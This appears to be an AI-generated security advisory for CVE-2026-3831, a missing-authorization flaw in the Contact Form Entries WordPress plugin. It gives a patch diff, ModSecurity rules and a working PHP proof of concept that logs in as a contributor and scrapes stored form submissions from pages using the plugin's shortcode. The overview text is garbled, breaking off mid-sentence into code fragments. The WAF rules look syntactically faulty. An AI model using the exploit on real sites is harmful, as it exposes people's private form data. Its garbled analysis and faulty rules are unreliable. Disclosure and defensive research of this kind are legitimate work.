Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 1, 2026

CVE-2026-3831: Database for Contact Form 7, WPforms, Elementor forms <= 1.4.9 – Missing Authorization to Authenticated (Contributor+) Sensitive Information Exposure via Shortcode (contact-form-entries)

CVE ID CVE-2026-3831
Plugin contact-form-entries
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.4.9
Patched Version 1.5.0
Disclosed March 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3831:
This vulnerability is a missing authorization flaw in the Contact Form Entries WordPress plugin (versions post_author, vxcf_form::$id.’_read_entries’)`. This ensures that only users who own the content containing the shortcode, or users with appropriate administrative privileges, can view the form entries. The patch also removes the `is_preview()` condition that previously limited the vulnerability’s exposure.

Successful exploitation leads to significant sensitive information exposure. Attackers can extract all form submissions stored by the plugin, which typically contain personally identifiable information (PII) from Contact Form 7, WPForms, Elementor Forms, and Ninja Forms submissions. This data exposure violates user privacy and may facilitate secondary attacks such as phishing campaigns, identity theft, or targeted social engineering. The vulnerability affects all form types supported by the plugin, amplifying its impact across multiple form submission sources.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/contact-form-entries/contact-form-entries.php
+++ b/contact-form-entries/contact-form-entries.php
@@ -2,7 +2,7 @@
 /**
 * Plugin Name: Contact Form Entries
 * Description: Save form submissions to the database from <a href="https://wordpress.org/plugins/contact-form-7/">Contact Form 7</a>, <a href="https://wordpress.org/plugins/ninja-forms/">Ninja Forms</a>, <a href="https://elementor.com/widgets/form-widget/">Elementor Forms</a> and <a href="https://wordpress.org/plugins/wpforms-lite/">WP Forms</a>.
-* Version: 1.4.9
+* Version: 1.5.0
 * Requires at least: 3.8
 * Author URI: https://www.crmperks.com
 * Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/crm-perks-forms/
@@ -25,7 +25,7 @@
   public static $type = "vxcf_form";
   public static $path = '';

-  public static  $version = '1.4.9';
+  public static  $version = '1.5.0';
   public static $upload_folder = 'crm_perks_uploads';
   public static $db_version='';
   public static $base_url='';
@@ -202,8 +202,13 @@
   update_option(vxcf_form::$type."_version", self::$version);
 }
 public function entries_shortcode($atts){
-    if(is_preview() && !current_user_can(vxcf_form::$id.'_read_entries')){
-     return;
+     $post = get_post();
+    if ( ! $post ) {
+        return '';
+    }
+    // Check if the POST AUTHOR has the _read_entries capability
+    if ( ! user_can( $post->post_author, vxcf_form::$id . '_read_entries' ) ) { //is_preview()
+        return '';
     }
   $form_id='';
   if(!empty($atts['form-id'])){
--- a/contact-form-entries/includes/install.php
+++ b/contact-form-entries/includes/install.php
@@ -27,6 +27,7 @@
 foreach($roles as $role){
   $wp_roles->add_cap( 'administrator', $role );
 }
+//$wp_roles->add_cap( 'editor', vxcf_form::$id."_read_entries" );
 $wp_roles->add_cap( 'administrator', 'vx_crmperks_view_plugins' );
 $wp_roles->add_cap( 'administrator', 'vx_crmperks_view_addons' );
 $wp_roles->add_cap( 'administrator', 'vx_crmperks_edit_addons' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-3831
# This rule blocks exploitation of the Contact Form Entries plugin shortcode vulnerability
# by detecting unauthorized access to pages containing the vulnerable shortcode
# when requested by non-authors/administrators.

SecRule REQUEST_URI "@rx ^/(?:?p=|?page_id=)([0-9]+)$" 
  "id:1003831,phase:2,deny,status:403,chain,msg:'CVE-2026-3831 - Unauthorized Contact Form Entries shortcode access',severity:'MEDIUM',tag:'CVE-2026-3831',tag:'WordPress',tag:'Plugin/Contact-Form-Entries',tag:'Attack/InformationDisclosure'"
  SecRule &ARGS_GET:p "@gt 0" "chain"
    SecRule RESPONSE_BODY "@contains class="vx-table"" "chain"
      SecRule RESPONSE_BODY "@contains [contact_form_entries" "chain"
        SecRule WEBSITE_ERROR_PAGE "!@streq 1" 
          "setvar:'tx.cve_2026_3831_detected=1',expirevar:'tx.cve_2026_3831_detected=3600'"

# Alternative rule for AJAX-based shortcode rendering (if implemented)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:1003832,phase:2,deny,status:403,chain,msg:'CVE-2026-3831 - Unauthorized AJAX shortcode rendering',severity:'MEDIUM',tag:'CVE-2026-3831',tag:'WordPress',tag:'Plugin/Contact-Form-Entries'"
  SecRule ARGS_POST:action "@streq render_contact_form_entries" "chain"
    SecRule ARGS_POST:shortcode "@rx [contact_form_entries" "chain"
      SecRule &ARGS_POST:_wpnonce "@eq 0" 
        "setvar:'tx.cve_2026_3831_ajax_detected=1'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3831 - Database for Contact Form 7, WPforms, Elementor forms <= 1.4.9 - Missing Authorization to Authenticated (Contributor+) Sensitive Information Exposure via Shortcode

<?php
/**
 * Proof of Concept for CVE-2026-3831
 * Requires: Contributor-level WordPress account credentials
 * Target: Any WordPress page/post containing the vulnerable shortcode
 */

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_account';
$password = 'contributor_password';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Verify login success by checking for dashboard elements
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Search for pages containing the vulnerable shortcode
// First, get list of published pages
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/edit.php?post_type=page');
$pages_list = curl_exec($ch);

// Extract page IDs (simplified - real implementation would parse properly)
preg_match_all('/post-([0-9]+)/', $pages_list, $page_matches);
$page_ids = array_unique($page_matches[1]);

// Test each page for the shortcode
foreach ($page_ids as $page_id) {
    curl_setopt($ch, CURLOPT_URL, $target_url . '/?p=' . $page_id);
    $page_content = curl_exec($ch);
    
    // Check for shortcode patterns
    if (preg_match('/[contact_form_entries[^]]*]/', $page_content)) {
        echo "Found vulnerable shortcode on page ID: " . $page_id . "n";
        echo "Accessing: " . $target_url . '/?p=' . $page_id . "n";
        
        // Extract and display form entries data
        if (preg_match_all('/<table[^>]*class="[^"]*vx-table[^"]*"[^>]*>.*?</table>/s', $page_content, $tables)) {
            echo "nExtracted Form Entries:n";
            foreach ($tables[0] as $table) {
                // Clean and display table data
                $clean_table = strip_tags($table, '<tr><td><th>');
                echo $clean_table . "nn";
            }
        }
        break;
    }
}

curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School